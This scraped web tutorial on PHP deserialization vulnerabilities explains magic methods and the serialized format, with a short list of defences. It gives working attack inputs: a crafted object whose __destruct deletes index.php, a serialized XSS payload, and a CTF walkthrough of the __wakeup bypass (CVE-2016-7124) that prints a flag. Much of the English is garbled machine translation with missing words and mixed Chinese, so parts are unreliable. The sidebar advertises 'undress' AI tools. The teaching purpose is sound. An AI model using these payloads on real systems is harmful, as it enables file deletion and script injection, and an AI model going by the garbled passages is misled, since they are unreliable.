Detailed analysis of PHP deserialization vulnerabilities
Apr 07, 2022 pm 12:57 PMThis article brings you relevant knowledge about PHP, which mainly introduces related issues about deserialization vulnerabilities, including PHP object-oriented programming, serialization and deserialization, The principles of deserialization vulnerabilities and other contents, I hope it will be helpful to everyone.
PHP Video Tutorial"
1. PHP Object-Oriented Programming在Object-oriented programming (Object-oriented programming, OOP),
Object is a represented by information and the description of processing the information The whole composition is an abstraction of the real world.
A class is a collection of objects that share the same structure and behavior. The definition of each class begins with the keyword class, followed by the name of the class.
Create a PHP class:<?php class TestClass //定義一個(gè)類 { //一個(gè)變量 public $variable = 'This is a string'; //一個(gè)方法 public function PrintVariable() { echo $this->variable; } } //創(chuàng)建一個(gè)對(duì)象 $object?=?new?TestClass(); //調(diào)用一個(gè)方法 $object->PrintVariable(); ?>public, protected, privatePHP
Access control for attributes or methods is by adding # in front ##Keywords Public (public), protected (protected) or private (private) to achieve. public (public): Public class members can be accessed
fromanywhere. protected (protected): Protected class members can
be accessedby itself and its subclasses and parent classes. private (private): Private class members
can only be accessedby the class in which they are defined. Note:
With different access control modifiers, the length and attribute value of the attributes after serialization will be different, as shown below: public: The attributes are serialized When the attribute value is serialized, the attribute value will become
Attribute nameprotected: When the attribute is serialized, the attribute value will become
private: When the attribute is serialized, the attribute value will become
where:
means The empty character
, but still occupies one character position (space), as in the following example <?phpclass People{
public $id;
protected $gender;
private $age;
public function __construct(){
$this->id?=?'Hardworking666';
????????$this->gender?=?'male';
????????$this->age?=?'18';
????}}$a?=?new?People();echo?serialize($a);?>
O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:"?*?gender";s:4:"male";s:11:"?People?age";s:2:"18";}
Magic method (magic function)
Place two underscores with
in PHP Methods starting with __ are called Magic methods
(Magic methods)PHP official——Magic methods
The class may contain some special functions: magic functions, which will
under certain circumstances. __construct()????????????//類的構(gòu)造函數(shù),創(chuàng)建對(duì)象時(shí)觸發(fā)
__destruct()?????????????//類的析構(gòu)函數(shù),對(duì)象被銷毀時(shí)觸發(fā)
__call()?????????????????//在對(duì)象上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)
__callStatic()???????????//在靜態(tài)上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)
__get()??????????????????//讀取不可訪問屬性的值時(shí),這里的不可訪問包含私有屬性或未定義
__set()??????????????????//在給不可訪問屬性賦值時(shí)觸發(fā)
__isset()????????????????//當(dāng)對(duì)不可訪問屬性調(diào)用?isset()?或?empty()?時(shí)觸發(fā)
__unset()????????????????//在不可訪問的屬性上使用unset()時(shí)觸發(fā)
__invoke()???????????????//當(dāng)嘗試以調(diào)用函數(shù)的方式調(diào)用一個(gè)對(duì)象時(shí)觸發(fā)
__sleep()????????????????//執(zhí)行serialize()時(shí),先會(huì)調(diào)用這個(gè)方法
__wakeup()???????????????//執(zhí)行unserialize()時(shí),先會(huì)調(diào)用這個(gè)方法
__toString()?????????????//當(dāng)反序列化后的對(duì)象被輸出在模板中的時(shí)候(轉(zhuǎn)換成字符串的時(shí)候)自動(dòng)調(diào)用
serialize() function checks whether a magic method exists in the class. If present, this method will be called first, and then the serialization operation will be performed.
We need to focus on the 5 magic methods, so we will emphasize them again:
__construct: Constructor, called when an object is created
: Destructor, called when an object is destroyed
: When an object Used when treated as a string
: Called __wakeup# when the object is serialized
is reconstructed from a binary string into an object (called when an object is
deserialized ) from serialization The execution process of these functions to deserialize is:
__construct()
->__sleep() ->
__wakeup() ->
__toString() ->
__destruct()
<?php class TestClass { //一個(gè)變量 public $variable = 'This is a string'; //一個(gè)方法 public function PrintVariable() { echo $this->variable.'<br />'; ????} ????//構(gòu)造函數(shù) ????public?function??__construct() ????{ ????????echo?'__construct<br />'; ????} ????//析構(gòu)函數(shù) ????public?function?__destruct() ????{ ????????echo?'__destruct<br />'; ????} ????//當(dāng)對(duì)象被當(dāng)作一個(gè)字符串 ????public?function?__toString() ????{ ????????return?'__toString<br />'; ????} } //創(chuàng)建一個(gè)對(duì)象 //__construct會(huì)被調(diào)用 $object?=?new?TestClass(); //創(chuàng)建一個(gè)方法 //‘This?is?a?string’將會(huì)被輸出 $object->PrintVariable(); //對(duì)象被當(dāng)作一個(gè)字符串 //toString會(huì)被調(diào)用 echo?$object; //php腳本要結(jié)束時(shí),__destruct會(huì)被調(diào)用 ?>
Output result:
__construct This?is?a?string __toString __destruct
__toString()
There are too many factors that can trigger this magic method, so it is necessary to list them:1.??echo($obj)/print($obj)打印時(shí)會(huì)觸發(fā)? 2.??反序列化對(duì)象與字符串連接時(shí)? 3.??反序列化對(duì)象參與格式化字符串時(shí)? 4.??反序列化對(duì)象與字符串進(jìn)行==比較時(shí)(PHP進(jìn)行==比較的時(shí)候會(huì)轉(zhuǎn)換參數(shù)類型)? 5.??反序列化對(duì)象參與格式化SQL語句,綁定參數(shù)時(shí)? 6.??反序列化對(duì)象在經(jīng)過php字符串處理函數(shù),如strlen()、strops()、strcmp()、addslashes()等? 7.??在in_array()方法中,第一個(gè)參數(shù)時(shí)反序列化對(duì)象,第二個(gè)參數(shù)的數(shù)組中有__toString()返回的字符串的時(shí)候__toString()會(huì)被調(diào)用? 8.??反序列化的對(duì)象作為class_exists()的參數(shù)的時(shí)候
The role of magic methods in deserialization attacks
The entrance to deserialization is atunserialize()
, as long as the parameters are controllable and this class exists in the current scope, any serialized object can be passed in, instead of being limited to
unserialize()Object of the function class. If it can only be limited to the current class, the attack surface is too small, and deserializing objects of other classes can only control attributes. If the methods of other class objects are not called in the deserialized code, , still cannot exploit the vulnerability to attack.
use the object properties in deserialization to Manipulate some exploitable functions
to achieve the purpose of attack.Understand the role of magic methods in deserialization vulnerabilities through the following example. The code is as follows:
2. PHP serialization and deserializationPHP serializationSometimes it is necessary to transmit an object over the network. In order to facilitate the transmission, you can
convert the entire object into a binary string
, and then restore it to the original object when it reaches the other end. This process is calledSerialization (also called Serialization).
json數(shù)據(jù)使用 ,
分隔開,數(shù)據(jù)內(nèi)使用 :
分隔鍵和值
json數(shù)據(jù)其實(shí)就是個(gè)數(shù)組,這樣做的目的也是為了方便在前后端傳輸數(shù)據(jù),后端接受到j(luò)son數(shù)據(jù),可以通過json_decode()
得到原數(shù)據(jù),
這種將原本的數(shù)據(jù)通過某種手段進(jìn)行"壓縮",并且按照一定的格式存儲(chǔ)的過程就可以稱之為序列化。
有兩種情況必須把對(duì)象序列化:
把一個(gè)對(duì)象在網(wǎng)絡(luò)中傳輸
把對(duì)象寫入文件或數(shù)據(jù)庫
相關(guān)概念可以參考我以前的文章:
Python序列化與反序列化詳解(包括json和json模塊詳解)
PHP序列化:把對(duì)象轉(zhuǎn)化為二進(jìn)制的字符串,使用serialize()
函數(shù)
PHP反序列化:把對(duì)象轉(zhuǎn)化的二進(jìn)制字符串再轉(zhuǎn)化為對(duì)象,使用unserialize()
函數(shù)
通過例子來看PHP序列化后的格式:
<?php class User { //類的數(shù)據(jù) public $age = 0; public $name = ''; //輸出數(shù)據(jù) public function printdata() { echo 'User '.$this->name.'?is?'.$this->age.'?years?old.<br />'; ????}?//?“.”表示字符串連接 } //創(chuàng)建一個(gè)對(duì)象 $usr?=?new?User(); //設(shè)置數(shù)據(jù) $usr->age?=?18; $usr->name?=?'Hardworking666'; //輸出數(shù)據(jù) $usr->printdata(); //輸出序列化后的數(shù)據(jù) echo?serialize($usr) ?>
輸出結(jié)果:
User?Hardworking666?is?18?years?old. O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
下面的 O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
就是對(duì)象user序列化后的形式。
“O”表示對(duì)象,“4”表示對(duì)象名長度為4,“User”為對(duì)象名,“2”表示有2個(gè)參數(shù)。
“{}”里面是參數(shù)的key和value,
“s”表示string對(duì)象,“3”表示長度,“age”則為key;“i”是interger(整數(shù))對(duì)象,“18”是value,后面同理。
序列化格式:
a?-?array?數(shù)組型 b?-?boolean?布爾型 d?-?double?浮點(diǎn)型 i?-?integer?整數(shù)型 o?-?common?object?共同對(duì)象 r?-?objec?reference?對(duì)象引用 s?-?non-escaped?binary?string?非轉(zhuǎn)義的二進(jìn)制字符串 S?-?escaped?binary?string?轉(zhuǎn)義的二進(jìn)制字符串 C?-?custom?object?自定義對(duì)象 O?-?class?對(duì)象 N?-?null?空 R?-?pointer?reference?指針引用 U?-?unicode?string?Unicode?編碼的字符串
PHP序列化需注意以下幾點(diǎn):
1、序列化只序列屬性,不序列方法
2、因?yàn)樾蛄谢恍蛄蟹椒ǎ苑葱蛄谢笕绻胝J褂眠@個(gè)對(duì)象的話我們必須要依托這個(gè)類要在當(dāng)前作用域存在的條件
3、我們能控制的只有類的屬性,攻擊就是尋找合適能被控制的屬性,利用作用域本身存在的方法,基于屬性發(fā)動(dòng)攻擊
PHP反序列化
對(duì)上例進(jìn)行反序列化:
<?php class User { //類的數(shù)據(jù) public $age = 0; public $name = ''; //輸出數(shù)據(jù) public function printdata() { echo 'User '.$this->name.'?is?'.$this->age.'?years?old.<br />'; ????} } //重建對(duì)象 $usr?=?unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}'); //輸出數(shù)據(jù) $usr->printdata(); ?>
User?Hardworking666?is?18?years?old.
_sleep
方法在一個(gè)對(duì)象被序列化時(shí)調(diào)用,_wakeup
方法在一個(gè)對(duì)象被反序列化時(shí)調(diào)用
<?phpclass test{ public $variable = '變量反序列化后都要銷毀'; //公共變量 public $variable2 = 'OTHER'; public function printvariable() { echo $this->variable.'<br />'; ????} ????public?function?__construct() ????{ ????????echo?'__construct'.'<br />'; ????} ????public?function?__destruct() ????{ ????????echo?'__destruct'.'<br />'; ????} ????public?function?__wakeup() ????{ ????????echo?'__wakeup'.'<br />'; ????} ????public?function?__sleep() ????{ ????????echo?'__sleep'.'<br />'; ????????return?array('variable','variable2'); ????}}//創(chuàng)建一個(gè)對(duì)象,回調(diào)用__construct$object?=?new?test(); ????//序列化一個(gè)對(duì)象,會(huì)調(diào)用__sleep$serialized?=?serialize($object); ????//輸出序列化后的字符串print?'Serialized:'.$serialized.'<br />'; ????//重建對(duì)象,會(huì)調(diào)用__wakeup$object2?=?unserialize($serialized); ????//調(diào)用printvariable,會(huì)輸出數(shù)據(jù)(變量反序列化后都要銷毀)$object2->printvariable(); ????//腳本結(jié)束,會(huì)調(diào)用__destruct?>
__construct __sleep Serialized:O:4:"test":2:{s:8:"variable";s:33:"變量反序列化后都要銷毀";s:9:"variable2";s:5:"OTHER";}__wakeup 變量反序列化后都要銷毀 __destruct __destruct
從序列化到反序列化這幾個(gè)函數(shù)的執(zhí)行過程是:__construct()
->__sleep
-> __wakeup()
-> __toString()
-> __destruct()
PHP為何要序列化和反序列化
PHP的序列化與反序列化其實(shí)是為了解決一個(gè)問題:PHP對(duì)象傳遞問題
PHP對(duì)象是存放在內(nèi)存的堆空間段上的,PHP文件在執(zhí)行結(jié)束的時(shí)候會(huì)將對(duì)象銷毀。
如果剛好要用到銷毀的對(duì)象,難道還要再寫一遍代碼?所以為了解決這個(gè)問題就有了PHP的序列化和反序列化
從上文可以發(fā)現(xiàn),我們可以把一個(gè)實(shí)例化的對(duì)象長久的存儲(chǔ)在計(jì)算機(jī)磁盤上,需要調(diào)用的時(shí)候只需反序列化出來即可使用。
三、PHP反序列化漏洞原理
序列化和反序列化本身沒有問題,
但是反序列化內(nèi)容用戶可控,
且后臺(tái)不正當(dāng)?shù)氖褂昧薖HP中的魔法函數(shù),就會(huì)導(dǎo)致安全問題。
當(dāng)傳給unserialize()
的參數(shù)可控時(shí),可以通過傳入一個(gè)精心構(gòu)造的序列化字符串,從而控制對(duì)象內(nèi)部的變量甚至是函數(shù)。
調(diào)用__destruct刪除
存在漏洞的思路:一個(gè)類用于臨時(shí)將日志儲(chǔ)存進(jìn)某個(gè)文件,當(dāng)__destruct
被調(diào)用時(shí),日志文件將會(huì)被刪除:
//logdata.php<?phpclass?logfile{ ????//log文件名 ????public?$filename?=?'error.log'; ????//一些用于儲(chǔ)存日志的代碼 ????public?function?logdata($text) ????{ ????????echo?'log?data:'.$text.'<br />'; ????????file_put_contents($this->filename,$text,FILE_APPEND); ????} ????//destrcuctor?刪除日志文件 ????public?function?__destruct() ????{ ????????echo?'__destruct?deletes?'.$this->filename.'file.<br />'; ????????unlink(dirname(__FILE__).'/'.$this->filename); ????}}?>
調(diào)用這個(gè)類:
<?phpinclude 'logdata.php'class User{ //類數(shù)據(jù) public $age = 0; public $name = ''; //輸出數(shù)據(jù) public function printdata() { echo 'User '.$this->name.'?is'.$this->age.'?years?old.<br />'; ????}}//重建數(shù)據(jù)$usr?=?unserialize($_GET['usr_serialized']);?>
代碼$usr = unserialize($_GET['usr_serialized']);
中的$_GET[‘usr_serialized’]
是可控的,那么可以構(gòu)造輸入,刪除任意文件。
如構(gòu)造輸入刪除目錄下的index.php文件:
<?php include 'logdata.php'; $object = new logfile(); $object->filename?=?'index.php'; echo?serialize($object).'<br />'; ?>
上面展示了由于輸入可控造成的__destruct
函數(shù)刪除任意文件,其實(shí)問題也可能存在于__wakeup
、__sleep
、__toString
等其他magic函數(shù)。
比如,某用戶類定義了一個(gè)__toString
,為了讓應(yīng)用程序能夠?qū)㈩愖鳛橐粋€(gè)字符串輸出(echo $object
),而且其他類也可能定義了一個(gè)類允許__toString
讀取某個(gè)文件。
XSS(跨站腳本攻擊)攻擊
XSS攻擊通常指的是通過利用網(wǎng)頁開發(fā)時(shí)留下的漏洞,通過巧妙的方法注入惡意指令代碼到網(wǎng)頁,使用戶加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁程序。攻擊成功后,攻擊者可能得到包括但不限于更高的權(quán)限(如執(zhí)行一些操作)、私密網(wǎng)頁內(nèi)容、會(huì)話和cookie等各種內(nèi)容。
例如,皮卡丘靶場PHP反序列化漏洞
$html="; if(isset($_POST['o'])){????$s?=?$_POST['o']; ????if(!@$unser?=?unserialize($s)){????????$html.="<p>錯(cuò)誤輸出</p>"; ????}else{????????$html.="<p>{$unser->test)</p>"; ????}
為了執(zhí)行<script>alert('xss')</script>
,Payload:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
其他知識(shí)點(diǎn):
unserialize
漏洞依賴條件:
1、unserialize函數(shù)的參數(shù)可控
2、腳本中存在一個(gè)構(gòu)造函數(shù)(__construct()
)、析構(gòu)函數(shù)(__destruct()
)、__wakeup()
函數(shù)中有向PHP文件中寫數(shù)據(jù)的操作類
3、所寫的內(nèi)容需要有對(duì)象中的成員變量的值
防范方法:
1、嚴(yán)格控制unserialize函數(shù)的參數(shù),堅(jiān)持用戶所輸入的信息都是不可靠的原則
2、對(duì)于unserialize后的變量內(nèi)容進(jìn)行檢查,以確定內(nèi)容沒有被污染
四、實(shí)例
PHP反序列化繞過__wakeup() CTF例題
攻防世界xctf web unserialize3
打開網(wǎng)址后的代碼:
class?xctf{public?$flag?=?'111';public?function?__wakeup(){exit('bad?requests');}?code=
已知在使用 unserialize()
反序列化時(shí)會(huì)先調(diào)用 __wakeup()
函數(shù),
而本題的關(guān)鍵就是如何 繞過 __wakeup()
函數(shù),就是 在反序列化的時(shí)候不調(diào)用它
當(dāng) 序列化的字符串中的 屬性值 個(gè)數(shù) 大于 屬性個(gè)數(shù) 就會(huì)導(dǎo)致反序列化異常,從而繞過 __wakeup()
代碼中的__wakeup()
方法如果使用就是和unserialize()
反序列化函數(shù)結(jié)合使用的
這里沒有特別對(duì)哪個(gè)字符串序列化,所以把xctf類實(shí)例化后,進(jìn)行反序列化。
我們利用php中的new運(yùn)算符,實(shí)例化類xctf。
new 是申請(qǐng)空間的操作符,一般用于類。
比如定義了一個(gè) class a{public i=0;}
$c = new a();
相當(dāng)于定義了一個(gè)基于a類的對(duì)象,這時(shí)候 $c->i
就是0
構(gòu)造序列化的代碼在編輯器內(nèi)執(zhí)行:
<?php class xctf{ public $flag = '111'; //public定義flag變量公開可見 public function __wakeup(){ exit('bad requests'); } }//題目少了一個(gè)},這里補(bǔ)上 $a=new xctf(); echo(serialize($a)); ?>
運(yùn)行結(jié)果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化返回的字符串格式:
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
O
:表示序列化的是對(duì)象<length>
:表示序列化的類名稱長度<class name>
:表示序列化的類的名稱<n>
:表示被序列化的對(duì)象的屬性個(gè)數(shù)<field name 1>
:屬性名<field value 1>
:屬性值
所以要修改屬性值<n>
,既把1改為2以上。
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
在url中輸入:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}
漏洞:__wakeup
繞過(CVE-2016-7124)
CVE-2016-7124:當(dāng)序列化字符串中表示對(duì)象屬性個(gè)數(shù)的值大于真實(shí)的屬性個(gè)數(shù)時(shí)會(huì)跳過__wakeup的執(zhí)行
官方給出的影響版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
推薦學(xué)習(xí):《PHP教程》
The above is the detailed content of Detailed analysis of PHP deserialization vulnerabilities. For more information, please follow other related articles on the PHP Chinese website!

Hot AI Tools

Undress AI Tool
Undress images for free

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics

In PHP, you can use square brackets or curly braces to obtain string specific index characters, but square brackets are recommended; the index starts from 0, and the access outside the range returns a null value and cannot be assigned a value; mb_substr is required to handle multi-byte characters. For example: $str="hello";echo$str[0]; output h; and Chinese characters such as mb_substr($str,1,1) need to obtain the correct result; in actual applications, the length of the string should be checked before looping, dynamic strings need to be verified for validity, and multilingual projects recommend using multi-byte security functions uniformly.

AgeneratorinPHPisamemory-efficientwaytoiterateoverlargedatasetsbyyieldingvaluesoneatatimeinsteadofreturningthemallatonce.1.Generatorsusetheyieldkeywordtoproducevaluesondemand,reducingmemoryusage.2.Theyareusefulforhandlingbigloops,readinglargefiles,or

To prevent session hijacking in PHP, the following measures need to be taken: 1. Use HTTPS to encrypt the transmission and set session.cookie_secure=1 in php.ini; 2. Set the security cookie attributes, including httponly, secure and samesite; 3. Call session_regenerate_id(true) when the user logs in or permissions change to change to change the SessionID; 4. Limit the Session life cycle, reasonably configure gc_maxlifetime and record the user's activity time; 5. Prohibit exposing the SessionID to the URL, and set session.use_only

The urlencode() function is used to encode strings into URL-safe formats, where non-alphanumeric characters (except -, _, and .) are replaced with a percent sign followed by a two-digit hexadecimal number. For example, spaces are converted to signs, exclamation marks are converted to!, and Chinese characters are converted to their UTF-8 encoding form. When using, only the parameter values ??should be encoded, not the entire URL, to avoid damaging the URL structure. For other parts of the URL, such as path segments, the rawurlencode() function should be used, which converts the space to . When processing array parameters, you can use http_build_query() to automatically encode, or manually call urlencode() on each value to ensure safe transfer of data. just

You can use substr() or mb_substr() to get the first N characters in PHP. The specific steps are as follows: 1. Use substr($string,0,N) to intercept the first N characters, which is suitable for ASCII characters and is simple and efficient; 2. When processing multi-byte characters (such as Chinese), mb_substr($string,0,N,'UTF-8'), and ensure that mbstring extension is enabled; 3. If the string contains HTML or whitespace characters, you should first use strip_tags() to remove the tags and trim() to clean the spaces, and then intercept them to ensure the results are clean.

There are two main ways to get the last N characters of a string in PHP: 1. Use the substr() function to intercept through the negative starting position, which is suitable for single-byte characters; 2. Use the mb_substr() function to support multilingual and UTF-8 encoding to avoid truncating non-English characters; 3. Optionally determine whether the string length is sufficient to handle boundary situations; 4. It is not recommended to use strrev() substr() combination method because it is not safe and inefficient for multi-byte characters.

To set and get session variables in PHP, you must first always call session_start() at the top of the script to start the session. 1. When setting session variables, use $_SESSION hyperglobal array to assign values ??to specific keys, such as $_SESSION['username']='john_doe'; it can store strings, numbers, arrays and even objects, but avoid storing too much data to avoid affecting performance. 2. When obtaining session variables, you need to call session_start() first, and then access the $_SESSION array through the key, such as echo$_SESSION['username']; it is recommended to use isset() to check whether the variable exists to avoid errors

Key methods to prevent SQL injection in PHP include: 1. Use preprocessing statements (such as PDO or MySQLi) to separate SQL code and data; 2. Turn off simulated preprocessing mode to ensure true preprocessing; 3. Filter and verify user input, such as using is_numeric() and filter_var(); 4. Avoid directly splicing SQL strings and use parameter binding instead; 5. Turn off error display in the production environment and record error logs. These measures comprehensively prevent the risk of SQL injection from mechanisms and details.
